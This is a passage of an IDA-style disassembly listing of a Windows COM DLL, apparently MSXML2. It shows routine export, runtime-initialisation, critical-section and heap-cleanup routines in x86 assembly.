; sub_69B1C12C+2E3Bj
mov ecx, [ebp+arg_C]
mov [ecx], eax
jmp loc_69B1C19F
; ---------------------------------------------------------------------------
loc_69B1DF39: ; CODE XREF: sub_69B1C12C+1DF9j
; sub_69B1C12C+2E2Dj
xor eax, eax
jmp short loc_69B1DF2F
; END OF FUNCTION CHUNK FOR sub_69B1C12C
; =============== S U B R O U T I N E =======================================
sub_69B1DF3D proc near ; CODE XREF: sub_69B1C12C+1DFEp
; sub_69B1C04C+8200p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B1DFD8
mov dword ptr [esi], offset off_69B1DF78
mov dword ptr [esi+4], offset off_69B1DF68
mov dword ptr [esi+0Ch], offset off_69B1DF64
mov eax, esi
pop esi
retn 4
sub_69B1DF3D endp
; ---------------------------------------------------------------------------
align 4
off_69B1DF64 dd offset sub_69B4589A ; DATA XREF: sub_69B1DF3D+19o
off_69B1DF68 dd offset loc_69B46373 ; DATA XREF: sub_69B1DF3D+12o
dd offset sub_69B5A0FC
dd offset sub_69B458C9
dd offset sub_69B2CF0E
off_69B1DF78 dd offset sub_69B18AE3 ; DATA XREF: sub_69B1DF3D+Co
dd offset sub_69B1F56C
dd offset sub_69B18E72
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B7794D
dd offset sub_69B3C310
dd offset sub_69B45BE2
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B44224
dd offset sub_69B442EC
dd offset sub_69B84A3B
dd offset sub_69B443BC
dd offset sub_69B44418
dd offset sub_69B444E4
dd offset sub_69B445A4
dd offset sub_69B4465C
dd offset sub_69B84A3B
dd offset sub_69B45CD4
dd offset sub_69B4472C
dd offset sub_69B447D4
dd offset sub_69B4414B
; =============== S U B R O U T I N E =======================================
sub_69B1DFD8 proc near ; CODE XREF: sub_69B1DF3D+7p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B92214
push off_69B92218
lea ecx, [esi+0Ch]
call sub_69B1DFFA
mov eax, esi
pop esi
retn 4
sub_69B1DFD8 endp
; =============== S U B R O U T I N E =======================================
sub_69B1DFFA proc near ; CODE XREF: sub_69B1DFD8+17p
; sub_69B440C4+Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, [edi]
mov esi, ecx
mov ecx, edi
call dword ptr [eax+10h]
mov ecx, eax
call sub_69B1B42A
push eax
push [esp+0Ch+arg_0]
mov ecx, esi
call sub_69B19B94
push edi
lea ecx, [esi+0Ch]
call sub_69B1E084
call sub_69B1E031
pop edi
mov eax, esi
pop esi
retn 8
sub_69B1DFFA endp
; =============== S U B R O U T I N E =======================================
sub_69B1E031 proc near ; CODE XREF: sub_69B1DFFA+2Bp
; sub_69B1E0E2+Dp ...
push offset dword_69B92934 ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
retn
sub_69B1E031 endp
; =============== S U B R O U T I N E =======================================
sub_69B1E03D proc near ; CODE XREF: sub_69B1C04C+8812p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
call sub_69B43F37
push [esp+4+arg_0]
lea ecx, [esi+10h]
mov dword ptr [esi], offset off_69B1E074
mov dword ptr [esi+4], offset off_69B1E070
call sub_69B1E084
push [esp+4+arg_4]
lea ecx, [esi+14h]
call sub_69B1E084
mov eax, esi
pop esi
retn 8
sub_69B1E03D endp
; ---------------------------------------------------------------------------
off_69B1E070 dd offset loc_69B45921 ; DATA XREF: sub_69B1E03D+15o
off_69B1E074 dd offset sub_69B448B2 ; DATA XREF: sub_69B1E03D+Fo
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B448CA
; =============== S U B R O U T I N E =======================================
sub_69B1E084 proc near ; CODE XREF: sub_69B655E3-5017Fp
; sub_69B6589E-5036Ap ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
push esi
mov esi, ecx
mov [esi], eax
jz short loc_69B1E097
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B1E097: ; CODE XREF: sub_69B1E084+Bj
mov eax, esi
pop esi
retn 4
sub_69B1E084 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1E09D proc near ; CODE XREF: sub_69B3F53E+5j
; .text:69B3F54Dj ...
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 69B2414C SIZE 0000000A BYTES
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
call dword_69B92948
mov esi, eax
test esi, esi
jz loc_69B2414C
push edi
push [ebp+arg_0]
lea ecx, [ebp+var_C]
push esi
call sub_69B1B406
mov ecx, [ebp+arg_0]
call sub_69B1E0E2
lea ecx, [ebp+var_C]
mov edi, eax
call sub_69B1976C
push esi
call dword_69B92944
mov eax, edi
pop edi
loc_69B1E0DD: ; CODE XREF: sub_69B1E09D+60B4j
pop esi
leave
retn 4
sub_69B1E09D endp
; =============== S U B R O U T I N E =======================================
sub_69B1E0E2 proc near ; CODE XREF: sub_69B1E09D+27p
; sub_69B1DE55+6B26p ...
push esi
call sub_69B17355
mov esi, eax
cmp esi, 1
jnz short loc_69B1E0F4
call sub_69B1E031
loc_69B1E0F4: ; CODE XREF: sub_69B1E0E2+Bj
mov eax, esi
pop esi
retn
sub_69B1E0E2 endp
; ---------------------------------------------------------------------------
dd 0
dd 416F2944h, 0
db 7Ch ; |
db 0E1h, 2 dup(0)
db 6
align 4
db 0Ch
align 10h
db 5
align 4
db 20h
db 0E1h, 2 dup(0)
db 50h ; P
db 0E1h, 2 dup(0)
db 64h ; d
db 0E1h, 2 dup(0)
db 0ABh ; «
db 0C4h, 1, 0
db 97h ; —
db 0C4h, 1, 0
db 7Dh ; }
db 0C4h, 1, 0
db 0BFh ; ¿
db 0C4h, 1, 0
db 0CFh ; Ï
db 0C4h, 1, 0
db 83h ; ƒ
db 0C4h, 1, 0
db 4Ah ; J
db 0C4h, 1, 0
db 0D7h ; ×
db 0E1h, 2 dup(0)
db 48h ; H
db 0C5h, 2 dup(0)
db 2Bh ; +
db 0BBh, 2 dup(0)
db 0E4h ; ä
db 0C0h, 1, 0
db 8Ch ; Œ
; ---------------------------------------------------------------------------
retn 1
; ---------------------------------------------------------------------------
db 87h ; ‡
db 0E1h, 2 dup(0)
db 97h ; —
db 0E1h, 2 dup(0)
db 0A9h ; ©
db 0E1h, 2 dup(0)
db 0B1h ; ±
db 0E1h, 2 dup(0)
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0E1h, 2 dup(0)
dw 7
dw 8
dw 9
dw 0Ah
dw 0Bh
unicode 0, <>,0
db 1
align 2
dw 2
db 3
align 2
dw 4
db 5
align 2
dw 6
db 4Dh ; M
db 53h, 58h, 4Dh
db 4Ch ; L
db 32h, 2Eh, 64h
db 6Ch ; l
db 6Ch, 0, 44h
aLlcanunloadnow db 'llCanUnloadNow',0
aDllgetclassobj db 'DllGetClassObject',0
aDllmain db 'DllMain',0
aDllregisterser db 'DllRegisterServer',0
aDllunregisters db 'DllUnregisterServer',0
; Exported entry 13. DllCanUnloadNow
; =============== S U B R O U T I N E =======================================
; HRESULT __stdcall DllCanUnloadNow()
public DllCanUnloadNow
DllCanUnloadNow proc near
; FUNCTION CHUNK AT 69B228E3 SIZE 00000024 BYTES
cmp byte_69B92928, 0
jnz loc_69B228E3
push esi
call dword_69B92948
mov esi, eax
test esi, esi
jz loc_69B228E6
push 0Eh
call sub_69B18C0C
push esi
call dword_69B92944
cmp dword_69B92924, 0
jg short loc_69B1E219
call sub_69B1E21E
test eax, eax
jle loc_69B228ED
loc_69B1E219: ; CODE XREF: DllCanUnloadNow+33j
; DllCanUnloadNow+4721j
xor eax, eax
inc eax
pop esi
retn
DllCanUnloadNow endp
; =============== S U B R O U T I N E =======================================
sub_69B1E21E proc near ; CODE XREF: DllCanUnloadNow+35p
mov eax, dword_69B92934
retn
sub_69B1E21E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18CB3
loc_69B1E224: ; CODE XREF: sub_69B18CB3+115j
mov dword_69B9299C, ebx
mov dword_69B929A0, ebx
push edi
push 1
push ebx
call sub_69B1E244
mov esi, dword_69B92994
jmp loc_69B1E2D4
; END OF FUNCTION CHUNK FOR sub_69B18CB3
; =============== S U B R O U T I N E =======================================
sub_69B1E244 proc near ; CODE XREF: sub_69B18CB3+5581p
; sub_69B1E818+4758p ...
; FUNCTION CHUNK AT 69B22E66 SIZE 00000079 BYTES
push 2Ch
push offset dword_69B1E2C8
call sub_69B19C5C
mov esi, [ebp+8]
cmp byte ptr [esi+20h], 0
jnz short loc_69B1E2B9
xor edi, edi
push edi
push esi
lea ecx, [ebp-24h]
call sub_69B1A8C7
mov byte ptr [esi+20h], 1
mov al, [esi+21h]
mov [ebp-25h], al
mov al, [ebp+0Ch]
mov [esi+21h], al
mov [ebp-2Ch], edi
mov [ebp-30h], edi
loc_69B1E27B: ; CODE XREF: sub_69B22EE8+Aj
and dword ptr [ebp-4], 0
mov ebx, [ebp+10h]
loc_69B1E282: ; CODE XREF: sub_69B1E244+4C6Aj
; sub_69B1E244+4C88j
mov edi, [esi+24h]
mov [ebp-34h], edi
cmp edi, ebx
jnz loc_69B22E66
or dword ptr [ebp-4], 0FFFFFFFFh
cmp dword ptr [ebp-2Ch], 0
jnz loc_69B22ED1
mov [ebp-2Ch], ebx
loc_69B1E2A1: ; CODE XREF: sub_69B1E244+4C96j
mov eax, [ebp-2Ch]
mov [esi+24h], eax
mov al, [ebp-25h]
mov [esi+21h], al
mov byte ptr [esi+20h], 0
lea ecx, [ebp-24h]
call sub_69B1976C
loc_69B1E2B9: ; CODE XREF: sub_69B1E244+13j
call sub_69B1853C
retn 0Ch
sub_69B1E244 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B1E2C8 dd 0FFFFFFFFh dd offset sub_69B22EDF
dd offset sub_69B22EE8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18CB3
loc_69B1E2D4: ; CODE XREF: sub_69B18CB3+558Cj
; sub_69B18CB3+5631j
mov [ebp-28h], esi
cmp esi, edi
jz short loc_69B1E2E6
push esi
call sub_69B1B480
mov esi, [esi+14h]
jmp short loc_69B1E2D4
; ---------------------------------------------------------------------------
loc_69B1E2E6: ; CODE XREF: sub_69B18CB3+5626j
cmp byte_69B92998, 0
jz short loc_69B1E2FC
test byte ptr dword_69B929A8, 3
jz loc_69B23187
loc_69B1E2FC: ; CODE XREF: sub_69B18CB3+563Aj
; sub_69B18CB3+A522j
mov dword_69B9299C, edi
mov dword_69B929A0, edi
mov eax, dword_69B92984
mov dword_69B929C4, eax
loc_69B1E312: ; CODE XREF: sub_69B18CB3+A4CFj
; sub_69B231E3+Ej
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B1E316: ; CODE XREF: sub_69B18CB3+A578j
mov eax, dword_69B9298C
cmp eax, lpMem
ja loc_69B23213
mov dword_69B929A0, ebx
mov ebx, offset dword_69B92994
mov esi, dword_69B92994
loc_69B1E338: ; CODE XREF: sub_69B18CB3+56DAj
test esi, esi
jnz short loc_69B1E363
and dword_69B929A0, esi
loc_69B1E342: ; CODE XREF: sub_69B18CB3+10Bj
dec dword_69B929AC
loc_69B1E348: ; CODE XREF: sub_69B18CB3+105j
lea ecx, [ebp-20h]
call sub_69B1900C
loc_69B1E350: ; CODE XREF: sub_69B18CB3+21j
mov ecx, [ebp-1Ch]
xor ecx, [ebp+4]
call sub_69B1B9F6
call sub_69B1853C
retn 4
; ---------------------------------------------------------------------------
loc_69B1E363: ; CODE XREF: sub_69B18CB3+5687j
cmp byte ptr [esi+18h], 0
jz short loc_69B1E382
lea edi, [esi+0Ch]
push edi ; Target
call sub_69B18980
and eax, 0FFFFFFF9h
push eax
push esi
call sub_69B11EFA
mov [edi], esi
mov byte ptr [esi+18h], 0
loc_69B1E382: ; CODE XREF: sub_69B18CB3+56B4j
push ebx
push esi
call sub_69B1E38F
mov ebx, eax
mov esi, [ebx]
jmp short loc_69B1E338
; END OF FUNCTION CHUNK FOR sub_69B18CB3
; =============== S U B R O U T I N E =======================================
sub_69B1E38F proc near ; CODE XREF: sub_69B18CB3+56D1p
; sub_69B2D9A7+96p
; FUNCTION CHUNK AT 69B22F7A SIZE 0000007A BYTES
; FUNCTION CHUNK AT 69B2300A SIZE 0000000F BYTES
push 18h
push offset dword_69B1E3B8
call sub_69B19C5C
mov edi, [ebp+8]
cmp byte ptr [edi+44h], 0
jnz loc_69B22F7A
loc_69B1E3A8: ; CODE XREF: sub_69B1E38F+4BEFj
; sub_69B1E38F+4BF9j ...
lea ebx, [edi+14h]
loc_69B1E3AB: ; CODE XREF: sub_69B1E38F+4C85j
mov eax, ebx
call sub_69B1853C
retn 8
sub_69B1E38F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B1E3B8 dd 0FFFFFFFFh dd offset sub_69B22FF4
dd offset sub_69B22FFD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1E3D1
loc_69B1E3C4: ; CODE XREF: sub_69B1E3D1+3Ej
cmp ecx, eax
jnz loc_69B229DE
loc_69B1E3CC: ; CODE XREF: sub_69B1E3D1+4612j
mov ecx, [ecx+14h]
jmp short loc_69B1E40D
; END OF FUNCTION CHUNK FOR sub_69B1E3D1
; =============== S U B R O U T I N E =======================================
sub_69B1E3D1 proc near ; CODE XREF: DllEntryPoint+6Dp
; FUNCTION CHUNK AT 69B1E3C4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 69B229B1 SIZE 0000007D BYTES
push 0Ch
push offset dword_69B1E470
call sub_69B19C5C
xor edi, edi
inc edi
mov dword_69B92980, edi
xor ebx, ebx
cmp dword_69B9296C, ebx
jnz loc_69B229B1
loc_69B1E3F4: ; CODE XREF: sub_69B1E3D1+45EEj
; sub_69B1E3D1+4608j
call sub_69B19BC1
push dwTlsIndex
call dword_69B92970
mov esi, dword_69B9295C
mov ecx, esi
loc_69B1E40D: ; CODE XREF: sub_69B1E3D1-2j
cmp ecx, ebx
jnz short loc_69B1E3C4
mov [ebp-4], ebx
cmp dword_69B9296C, ebx
jnz loc_69B229E8
loc_69B1E420: ; CODE XREF: sub_69B1E3D1+461Cj
call sub_69B1E4CF
call sub_69B11F7F
cmp byte_69B92998, bl
jz short loc_69B1E437
call sub_69B1E570
loc_69B1E437: ; CODE XREF: sub_69B1E3D1+5Fj
call sub_69B1C1E2
call sub_69B11FB9
call sub_69B1B0B5
cmp byte_69B92998, bl
jz short loc_69B1E458
call sub_69B120A4
call sub_69B120B5
loc_69B1E458: ; CODE XREF: sub_69B1E3D1+7Bj
; sub_69B22A37+3j
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1E47C
loc_69B1E461: ; CODE XREF: sub_69B1E3D1+4658j
mov byte_69B92928, 1
call sub_69B1853C
retn
sub_69B1E3D1 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B1E470 dd 0FFFFFFFFh dd offset sub_69B22A2E
dd offset sub_69B22A37
; =============== S U B R O U T I N E =======================================
sub_69B1E47C proc near ; CODE XREF: sub_69B19A23:loc_69B19ACFp
; sub_69B1E3D1+8Bp
push offset dword_69B929E8
call sub_69B17230
push offset dword_69B929E4
call sub_69B17230
push offset dword_69B929E0
call sub_69B17230
push offset dword_69B929DC
call sub_69B17230
push offset dword_69B929D8
call sub_69B17230
push offset dword_69B929D4
call sub_69B17230
push offset dword_69B929D0
call sub_69B17230
push hObject ; hObject
call ds:CloseHandle ; CloseHandle
retn
sub_69B1E47C endp
; =============== S U B R O U T I N E =======================================
sub_69B1E4CF proc near ; CODE XREF: sub_69B1E3D1:loc_69B1E420p
; FUNCTION CHUNK AT 69B24AFE SIZE 00000093 BYTES
push ebx
push ebp
push esi
call sub_69B1E533
mov ebp, ds:DeleteCriticalSection
xor ebx, ebx
cmp dword_69B95AE0, ebx
jz short loc_69B1E4EE
push offset CriticalSection ; lpCriticalSection
call ebp ; DeleteCriticalSection
loc_69B1E4EE: ; CODE XREF: sub_69B1E4CF+16j
mov esi, offset hEvent
loc_69B1E4F3: ; CODE XREF: sub_69B1E4CF+37j
mov eax, [esi]
cmp eax, ebx
jnz loc_69B24AFE
loc_69B1E4FD: ; CODE XREF: sub_69B1E4CF+6638j
sub esi, 4
cmp esi, offset pHandles
jge short loc_69B1E4F3
mov ecx, dword_69B95ADC
cmp ecx, ebx
jnz loc_69B24B0C
loc_69B1E516: ; CODE XREF: sub_69B1E4CF+6666j
cmp word_69B95AEC, bx
jnz loc_69B24B3A
loc_69B1E523: ; CODE XREF: sub_69B1E4CF+6683j
cmp dword_69B95AD8, ebx
jnz loc_69B24B57
loc_69B1E52F: ; CODE XREF: sub_69B1E4CF+66BDj
pop esi
pop ebp
pop ebx
retn
sub_69B1E4CF endp
; =============== S U B R O U T I N E =======================================
sub_69B1E533 proc near ; CODE XREF: sub_69B1E4CF+3p
; sub_69B7EB86+B5p
; FUNCTION CHUNK AT 69B24AC7 SIZE 00000037 BYTES
cmp dword_69B95AE0, 0
push esi
mov esi, offset CriticalSection
jnz short loc_69B1E553
push esi ; lpCriticalSection
call ds:InitializeCriticalSection ; InitializeCriticalSection
mov dword_69B95AE0, 1
loc_69B1E553: ; CODE XREF: sub_69B1E533+Dj
push esi ; lpCriticalSection
call ds:EnterCriticalSection
cmp dword_69B95AF0, 0
jnz loc_69B24AC7
loc_69B1E567: ; CODE XREF: sub_69B1E533+65C6j
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
pop esi
retn
sub_69B1E533 endp
; =============== S U B R O U T I N E =======================================
sub_69B1E570 proc near ; CODE XREF: sub_69B1E3D1+61p
; .text:69B3D2EDj
; FUNCTION CHUNK AT 69B24159 SIZE 00000010 BYTES
push ebx
push ebp
push esi
push edi
mov ebx, offset dword_69B95A90
mov ebp, offset dword_69B95AA0
loc_69B1E57E: ; CODE XREF: sub_69B1E570+27j
xor edi, edi
loc_69B1E580: ; CODE XREF: sub_69B1E570+1Fj
mov esi, [ebx+edi*4]
test esi, esi
jnz loc_69B24159
loc_69B1E58B: ; CODE XREF: sub_69B1E570+5BF4j
inc edi
cmp edi, 4
jl short loc_69B1E580
cmp ebx, ebp
jz short loc_69B1E599
mov ebx, ebp
jmp short loc_69B1E57E
; ---------------------------------------------------------------------------
loc_69B1E599: ; CODE XREF: sub_69B1E570+23j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_69B1E570 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1E5B8
loc_69B1E59E: ; CODE XREF: sub_69B1E5B8+Fj
push edi
push esi
call sub_69B1A48F
cmp dword ptr [esi+10h], 0FFFFFFFFh
pop ecx
pop ecx
jz short loc_69B1E5C9
push edi
push esi
call sub_69B1A48F
pop ecx
pop ecx
jmp short loc_69B1E5C9
; END OF FUNCTION CHUNK FOR sub_69B1E5B8
; =============== S U B R O U T I N E =======================================
sub_69B1E5B8 proc near ; CODE XREF: sub_69B1AE5D+8p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B1E59E SIZE 0000001A BYTES
push esi
mov esi, [esp+4+arg_0]
cmp dword ptr [esi+10h], 0FFFFFFFFh
push edi
mov edi, 400h
jnz short loc_69B1E59E
loc_69B1E5C9: ; CODE XREF: sub_69B1E5B8-Dj
; sub_69B1E5B8-2j
pop edi
pop esi
retn
sub_69B1E5B8 endp
; =============== S U B R O U T I N E =======================================
sub_69B1E5CC proc near ; CODE XREF: sub_69B1C43A+19p
push esi
loc_69B1E5CD: ; CODE XREF: sub_69B1E5CC+2Ej
mov esi, dword_69B9295C
test esi, esi
jnz short loc_69B1E5E5
push dwTlsIndex ; dwTlsIndex
call ds:TlsFree ; TlsFree
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B1E5E5: ; CODE XREF: sub_69B1E5CC+9j
mov eax, [esi+14h]
mov ecx, esi
mov dword_69B9295C, eax
call sub_69B12110
push esi ; lpMem
call sub_69B1E5FC
jmp short loc_69B1E5CD
sub_69B1E5CC endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B1E5FC(LPVOID lpMem)
sub_69B1E5FC proc near ; CODE XREF: sub_69B1E5CC+29p
; sub_69B2D601+10p
lpMem = dword ptr 4
; FUNCTION CHUNK AT 69B22BE9 SIZE 00000008 BYTES
mov eax, [esp+lpMem]
cmp byte ptr [eax+22h], 1
jz loc_69B22BE9
loc_69B1E60A: ; CODE XREF: sub_69B1E5FC+45F0j
xor ecx, ecx
cmp dword_69B92940, ecx
push eax ; lpMem
push ecx ; dwFlags
push hHeap ; hHeap
jnz short loc_69B1E625
call ds:HeapFree
locret_69B1E622: ; CODE XREF: sub_69B1E5FC+2Ej
retn 4
; ---------------------------------------------------------------------------
loc_69B1E625: ; CODE XREF: sub_69B1E5FC+1Ej
call sub_69B2D4AB
jmp short locret_69B1E622
sub_69B1E5FC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B1E62C proc near ; CODE XREF: sub_69B1B625+E8p
mov eax, off_69B92678
test eax, eax
jz short loc_69B1E637
call eax ; sub_69B1D244
loc_69B1E637: ; CODE XREF: sub_69B1E62C+7j
push esi
push edi
mov ecx, offset dword_69B92154
mov edi, offset dword_69B9215C
xor eax, eax
cmp ecx, edi
mov esi, ecx
jnb short loc_69B1E662
loc_69B1E64B: ; CODE XREF: sub_69B1E62C+30j
test eax, eax
jnz short loc_69B1E683
mov ecx, [esi]
test ecx, ecx
jz short loc_69B1E657
call ecx
loc_69B1E657: ; CODE XREF: sub_69B1E62C+27j
add esi, 4
cmp esi, edi
jb short loc_69B1E64B
test eax, eax
jnz short loc_69B1E683
loc_69B1E662: ; CODE XREF: sub_69B1E62C+1Dj
mov esi, offset dword_69B92124
mov eax, esi
mov edi, offset dword_69B92150
cmp eax, edi
jnb short loc_69B1E681
loc_69B1E672: ; CODE XREF: sub_69B1E62C+53j
mov eax, [esi]
test eax, eax
jz short loc_69B1E67A
call eax
loc_69B1E67A: ; CODE XREF: sub_69B1E62C+4Aj
add esi, 4
cmp esi, edi
jb short loc_69B1E672
loc_69B1E681: ; CODE XREF: sub_69B1E62C+44j
xor eax, eax
loc_69B1E683: ; CODE XREF: sub_69B1E62C+21j
; sub_69B1E62C+34j
pop edi
pop esi
retn
sub_69B1E62C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1E686 proc near ; DATA XREF: .data:69B92128o
PerformanceCount= LARGE_INTEGER ptr -10h
SystemTimeAsFileTime= _FILETIME ptr -8
; FUNCTION CHUNK AT 69B22B4C SIZE 0000000F BYTES
push ebp
mov ebp, esp
sub esp, 10h
mov eax, dword_69B92170
test eax, eax
jz short loc_69B1E69C
cmp eax, 0BB40E64Eh
jnz short locret_69B1E709
loc_69B1E69C: ; CODE XREF: sub_69B1E686+Dj
push esi
lea eax, [ebp+SystemTimeAsFileTime]
push eax ; lpSystemTimeAsFileTime
call ds:GetSystemTimeAsFileTime ; GetSystemTimeAsFileTime
mov esi, [ebp+SystemTimeAsFileTime.dwHighDateTime]
xor esi, [ebp+SystemTimeAsFileTime.dwLowDateTime]
call ds:GetCurrentProcessId ; GetCurrentProcessId
xor esi, eax
call ds:GetCurrentThreadId ; GetCurrentThreadId
xor esi, eax
call ds:GetTickCount ; GetTickCount
xor esi, eax
lea eax, [ebp+PerformanceCount]
push eax ; lpPerformanceCount
call ds:QueryPerformanceCounter ; QueryPerformanceCounter
mov eax, dword ptr [ebp+PerformanceCount+4]
xor eax, dword ptr [ebp+PerformanceCount]
xor esi, eax
mov dword_69B92170, esi
jz loc_69B22B4C
loc_69B1E6E3: ; CODE XREF: sub_69B1E686+44D0j
push offset ModuleName ; "kernel32.dll"
call ds:GetModuleHandleA ; GetModuleHandleA
test eax, eax
mov dword_69B92930, eax
pop esi
jz short locret_69B1E709
push offset aUnhandledexcep ; "UnhandledExceptionFilter"
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_69B9292C, eax
locret_69B1E709: ; CODE XREF: sub_69B1E686+14j
; sub_69B1E686+70j
leave
retn
sub_69B1E686 endp
; ---------------------------------------------------------------------------
align 4
; char aUnhandledexcep[]
aUnhandledexcep db 'UnhandledExceptionFilter',0 ; DATA XREF: sub_69B1E686+72o
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19D0A
loc_69B1E725: ; CODE XREF: sub_69B19D0A+80j
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-1Ch]
cmp esi, eax
jnz loc_69B239F5
cmp [eax], edi
jz loc_69B239E6
loc_69B1E73C: ; CODE XREF: sub_69B19D0A+9CDEj
cmp [eax+4], edi
jz loc_69B239ED
loc_69B1E745: ; CODE XREF: sub_69B19D0A+9CE6j
; sub_69B19D0A+9CFBj
mov [esi+10h], ebx
lea eax, [ebx+400000h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+8], eax
lea eax, [esi+98h]
mov [esi+0Ch], eax
xor eax, eax
mov edi, 0F0h
loc_69B1E767: ; CODE XREF: sub_69B19D0A+4A77j
xor ecx, ecx
cmp eax, 10h
setnl cl
dec ecx
and ecx, edi
dec ecx
mov [esi+eax*8+18h], ecx
mov [esi+eax*8+1Ch], edi
inc eax
cmp eax, 400h
jl short loc_69B1E767
mov ecx, 4000h
xor eax, eax
mov edi, ebx
rep stosd
mov eax, 10000h
loc_69B1E793: ; CODE XREF: sub_69B19D0A+4AB4j
mov ecx, [esi+10h]
add ecx, eax
cmp ebx, ecx
jnb short loc_69B1E7C0
lea ecx, [ebx+10h]
mov [ebx+8], ecx
mov dword ptr [ebx+0Ch], 0EFh
mov byte ptr [ebx+0FFh], 0FFh
mov ecx, [ebp+8]
or ecx, 1
mov [ebx], ecx
add ebx, 1000h
jmp short loc_69B1E793
; ---------------------------------------------------------------------------
loc_69B1E7C0: ; CODE XREF: sub_69B19D0A+4A90j
mov eax, esi
loc_69B1E7C2: ; CODE XREF: sub_69B19D0A+9D82j
call sub_69B1853C
retn
; ---------------------------------------------------------------------------
loc_69B1E7C8: ; CODE XREF: sub_69B19D0A+56j
call sub_69B2D4D6
jmp loc_69B19D68
; END OF FUNCTION CHUNK FOR sub_69B19D0A
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1E7D2 proc near ; DATA XREF: .text:69B1C918o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
; FUNCTION CHUNK AT 69B22B6B SIZE 00000025 BYTES
push ebp
mov ebp, esp
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jz loc_69B22B6B
mov eax, [ebp+arg_0]
cmp byte ptr [eax+0Ch], 0
push esi
jnz loc_69B22B7F
cmp [ebp+arg_4], 0
jnz loc_69B22B75
push [ebp+arg_C]
push [ebp+arg_8]
call dword ptr [eax+8]
loc_69B1E807: ; CODE XREF: sub_69B1E7D2+43B9j
mov esi, eax
loc_69B1E809: ; CODE XREF: sub_69B1E7D2+43A8j
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B1E813: ; CODE XREF: sub_69B1E7D2+439Ej
pop edi
pop ebp
retn 10h
sub_69B1E7D2 endp
; =============== S U B R O U T I N E =======================================
sub_69B1E818 proc near ; CODE XREF: sub_69B2D5A5+38p
; DATA XREF: sub_69B1CA7C+99o ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B22F6D SIZE 0000000D BYTES
mov eax, [esp+arg_0]
dec dword ptr [eax+30h]
jnz short locret_69B1E82C
xor ecx, ecx
cmp [eax+28h], ecx
jnz loc_69B22F6D
locret_69B1E82C: ; CODE XREF: sub_69B1E818+7j
; sub_69B1E818+475Dj
retn 4
sub_69B1E818 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B1E82F(OLECHAR *, int, int, OLECHAR *, char)
sub_69B1E82F proc near ; DATA XREF: .text:69B2A894o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
push edi
mov edi, ecx
mov ecx, [edi+14h]
test ecx, ecx
jz short loc_69B1E853
cmp [ebp+arg_10], 0
jz short loc_69B1E8A7
cmp byte ptr [edi+18h], 0
jnz short loc_69B1E8A7
test ecx, ecx
jz short loc_69B1E853
push 1
call sub_69B8498B
loc_69B1E853: ; CODE XREF: sub_69B1E82F+Bj
; sub_69B1E82F+1Bj
push esi
push 1Ch
call sub_69B1D897
mov esi, eax
test esi, esi
jz short loc_69B1E89B
push ebx
push [ebp+arg_0] ; OLECHAR *
mov ebx, SysAllocString
mov dword ptr [esi], offset off_69B1EA68
mov dword ptr [esi+4], offset off_69B1E930
mov dword ptr [esi+8], offset off_69B1E8B0
call ebx ; SysAllocString
push [ebp+arg_C] ; OLECHAR *
mov [esi+0Ch], eax
mov eax, [ebp+arg_4]
mov [esi+10h], eax
mov eax, [ebp+arg_8]
mov [esi+14h], eax
call ebx ; SysAllocString
mov [esi+18h], eax
pop ebx
jmp short loc_69B1E89D
; ---------------------------------------------------------------------------
loc_69B1E89B: ; CODE XREF: sub_69B1E82F+30j
xor esi, esi
loc_69B1E89D: ; CODE XREF: sub_69B1E82F+6Aj
mov al, [ebp+arg_10]
mov [edi+14h], esi
mov [edi+18h], al
pop esi
loc_69B1E8A7: ; CODE XREF: sub_69B1E82F+11j
; sub_69B1E82F+17j
pop edi
pop ebp
